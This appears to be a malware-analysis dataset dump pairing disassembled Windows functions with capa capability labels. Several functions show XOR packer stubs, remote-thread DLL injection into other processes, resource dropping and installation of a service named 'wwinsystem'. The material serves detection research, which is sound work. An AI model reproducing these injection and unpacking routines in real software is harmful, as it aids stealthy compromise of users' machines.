joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x75f76f7d
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x63db0fea
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x5d5b3cc5
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x24d778e5
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x402d24
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403f58
test esi, esi
jne 0x402d5b
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00404048
jmp 0x402d7c
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402bc0
mov dword [esp], eax
test esi, esi
je 0x402d7c
cmp dword [ebx], 0
je 0x402d7c
dec esi
jmp 0x402d63
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x402ebc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x419008], 0x8088405
inc edx
mov dword [ebx + 0x419008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40330c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x419024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4033a4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403384
xor eax, eax
push ebp
push 0x40337d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4033c0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403384
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x419024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x419024], ax
mov esp, ebp
pop ebp
ret

Function at 0x403dd4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x41d044], 0
je 0x403e35
cmp word [0x41d218], 0xd7b2
jne 0x403dfd
cmp dword [0x41d220], 0
jbe 0x403dfd
mov eax, 0x41d214
call dword [0x41d230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x419078
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403e5c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x419034], 0
jne 0x403e51
push 0
push 0x419070
push 0x419078
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x44212d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44215b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x442179
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00442097
jmp 0x442179
mov eax, dword [esi + 0x14]
test eax, eax
je 0x442179
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00442097
test edi, edi
mov eax, edi
jne 0x442163
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56c32c]
test ecx, ecx
je 0x44222c
jmp 0x44212c
ret 8

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403120
push 0x402360
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 8]
push eax
push esi
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, esi
jne 0x40104c
mov dword [ebp - 0x24], esi
jmp 0x4010d9
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
inc esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
push 4
push 0x1000
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x28], edi
test edi, edi
jne 0x401080
mov dword [ebp - 0x24], eax
jmp 0x4010d9
push 0
push esi
mov ecx, dword [ebp + 0xc]
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401098
mov dword [ebp - 0x24], eax
jmp 0x4010d9
push 0x404030
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x4010bb
mov dword [ebp - 0x24], eax
jmp 0x4010d9
push 0
push 0
push edi
push eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x1c], eax
xor edx, edx
test eax, eax
setne dl
mov dword [ebp - 0x24], edx
mov dword [ebp - 4], 0xffffffff
call fcn.004010fb
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x401100
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push str.iexplore.exe
push ebp
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x40112f
push eax
push eax
push eax
push str.iexplore.exe
push 0x404040
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401199
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x401174
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x401199
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
je 0x40116c
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40117f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x401770
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 8]
push esi
and ecx, 0xffff
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4017e2
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4017da
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edx, dword [esp + 0x18]
push 0x4040c8
push edx
mov edi, eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push esi
push ebx
push 1
push edi
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x1c
pop edi
pop ebx
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x402150
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 4]
push eax
push edi
mov dword [esp + 0xc], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4021c6
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
call ebx
cmp dword [esp + 0x14], eax
jne 0x402199
mov ecx, dword [esp + 0x24]
mov dword [0x4041c0], ecx
lea edx, [esp + 0x30]
push str.explorer.exe
push edx
call esi
add esp, 8
test eax, eax
jne 0x4021b5
mov eax, dword [esp + 0x14]
mov dword [0x4041bc], eax
lea ecx, [esp + 0xc]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402187
pop esi
pop ebx
pop edi
add esp, 0x128
ret

Function at 0x4021d0
Capabilities:
Delete file
Get common file path
Terminate process

Disassembly:
sub esp, 0x114
call fcn.00402150
cmp dword [0x4041c0], 4
je 0x40221d
call fcn.00401db0
call 0x4022b0
test eax, eax
je 0x402228
lea eax, [esp]
mov dword [esp], str.wwinsystem
push eax
mov dword [esp + 8], 0x401ac0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
xor eax, eax
add esp, 0x114
ret 0x10
push ebx
push esi
lea ecx, [esp + 0x18]
push edi
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, 0x404188
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.wwinsystem
push str.wwinsystem
push str.wwinsystem
call fcn.004017f0
mov eax, dword [0x4041c4]
add esp, 0xc
test eax, eax
pop edi
pop esi
pop ebx
je 0x40221d
call fcn.004011a0
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x108
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.wwinsystem
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x18]
push 0
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x108
ret
Function at 0x1015fb50
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x102c3a30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.102b4023
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.101663c0
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x1015fba4
jmp dword [ecx*4 + 0x1015fd0c]
mov al, byte [esi]
test al, al
je 0x1015fbd2
cmp al, 0x20
je 0x1015fbbe
cmp al, 0xa1
jne 0x1015fbd2
cmp byte [esi + 1], al
jne 0x1015fbd2
test al, 0x80
je 0x1015fbca
mov al, byte [esi + 1]
inc esi
test al, al
je 0x1015fbd2
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1015fbb1
test ecx, ecx
je case.default.0x1015fba4
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x1015fba4
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x1015fc18
cmp dl, 0xa1
jne 0x1015fc0c
cmp byte [eax + 1], 0xa1
jne 0x1015fc0c
test ecx, ecx
jne 0x1015fc04
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1015fc2c
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x1015fc46
jmp 0x1015fc2c
cmp dl, 0x20
jne 0x1015fc2a
test ecx, ecx
jne 0x1015fc23
mov edi, eax
mov ecx, 1
jmp 0x1015fc2c
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x1015fbec
cmp ecx, 1
jne case.default.0x1015fba4
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1015fba4
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1015fba4
mov al, byte [esi]
test al, al
je 0x1015fc9e
test al, 0x80
mov byte [esp + 0x3c], al
je 0x1015fc84
mov cl, byte [esi + 1]
test cl, cl
je 0x1015fc9e
cmp al, 0xa1
jne 0x1015fc74
cmp cl, al
je 0x1015fc81
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.10166690
inc esi
jmp 0x1015fc96
cmp al, 0x20
je 0x1015fc96
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.101666d0
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1015fc5d
push 0
lea ecx, [esp + 0x14]
call fcn.101666d0
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.101807b0
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x1015fcd1
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x103de100
call fcn.101665c0
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.102b3fb5
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x10170ef0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x102c466b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.102b3d2a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x10170f72
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.102b0724
mov eax, dword [eax]
push 0x104d3f8c
push eax
call fcn.10283824
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.102b3fb5
test bl, bl
je 0x10170f72
push 0x104d3f8c
lea ecx, [esp + 0xc]
call fcn.102b4345
push 0x104d3f98
lea ecx, [esp + 0xc]
call fcn.102b4345
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x10170fae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.102b3fb5
jmp 0x10171079
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x10171032
lea edx, [esp + 0x7c]
push 0x104d3f94
push edx
call fcn.10283824
add esp, 8
test eax, eax
je 0x10171032
lea eax, [esp + 0x7c]
push 0x104d3f90
push eax
call fcn.10283824
add esp, 8
test eax, eax
je 0x10171032
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10170fc2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.102b3fb5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4
Function at 0x10171890
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x102c46eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x104fa380]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x101719c8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x101718f6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.102b3fb5
xor eax, eax
jmp 0x10171a3f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.102b40f2
push esi
lea ecx, [esp + 0xc]
call fcn.102b4381
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x104d3fcc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x10171a1d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x104d3fc4
push closesocket
call fcn.10258ce0
test eax, eax
jne 0x10171a1d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x104d3fb0
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.10258ce0
test eax, eax
jne 0x10171a1d
lea eax, [esp + 0x14]
push 0x104d3fa8
push eax
call fcn.102849a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x101719fc
lea ecx, [esp + 0x14]
push 0x104d3fa4
push ecx
call fcn.10284920
mov esi, eax
add esp, 8
test esi, esi
jne 0x101719fc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x101719ff
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.102b40a2
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1017190e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.102b3fb5
xor eax, eax
jmp 0x10171a3f
mov byte [esi], 0
push 0x104d3fa0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.102b3fb5
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x101797d0
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x102c5168
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.102b56d1
xor ebp, ebp
mov dword [esi], 0x103e0a90
mov dword [esi + 0x3c], ebp
mov dword [esi + 0x40], ebp
lea edi, [esi + 0x44]
mov dword [esp + 0x38], ebp
mov dword [esp + 0x14], edi
lea ecx, [edi + 0x18]
mov dword [edi], fcn.10223e90
call fcn.101663c0
lea ecx, [edi + 0x30]
mov byte [esp + 0x38], 1
call fcn.102b2dcd
lea ebx, [edi + 0x44]
mov ecx, ebx
call fcn.101663c0
mov dword [ebx], 0x103e04dc
mov dword [edi], 0x103e09a8
mov dword [esi + 0xa0], ebp
mov dword [esi + 0x9c], 0x103dfac0
lea ecx, [esi + 0xb0]
call fcn.101663c0
lea edi, [esi + 0xc8]
mov dword [edi + 4], ebp
mov dword [edi], 0x103e0a84
mov byte [esp + 0x38], 5
mov dword [esi], 0x103e09b0
mov dword [esi + 0xac], ebp
call fcn.102bf0e2
mov eax, dword [eax + 0xc]
push 0x40e
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
mov ecx, edi
call fcn.102bb171
mov ecx, dword [esi + 0xcc]
lea eax, [esp + 0x18]
push eax
push 0x18
push ecx
call dword [sym.imp.GDI32.dll_GetObjectA]
mov ecx, dword [esp + 0x1c]
mov eax, 0x55555556
imul ecx
mov ecx, dword [esp + 0x20]
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [esi + 0xd4], ecx
mov ecx, dword [esp + 0x30]
mov dword [esi + 0xd0], edx
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x10179980
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x102c51f5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x103e09b0
mov dword [esp + 0x18], 0
lea ecx, [esi + 0xc8]
mov dword [esp + 0xc], ecx
mov dword [ecx], method.CGdiObject.virtual_0
mov byte [esp + 0x18], 4
call fcn.102bb1c8
lea ecx, [esi + 0xb0]
mov byte [esp + 0x18], 2
mov dword [ecx], 0x103df928
call fcn.101665c0
lea ecx, [esi + 0x9c]
mov dword [esp + 0xc], ecx
mov dword [ecx], method.CGdiObject.virtual_0
mov byte [esp + 0x18], 5
call fcn.102bb1c8
lea edi, [esi + 0x44]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x44]
mov byte [esp + 0x18], 7
mov dword [ecx], 0x103df928
call fcn.101665c0
lea ecx, [edi + 0x30]
mov byte [esp + 0x18], 6
call fcn.102b2e00
lea ecx, [edi + 0x18]
mov byte [esp + 0x18], 0
mov dword [ecx], 0x103df928
call fcn.101665c0
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.102bd00e
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x10182180
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a0]
test eax, eax
jne 0x101821ae
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3a0], eax
pop esi
add esp, 0x190
ret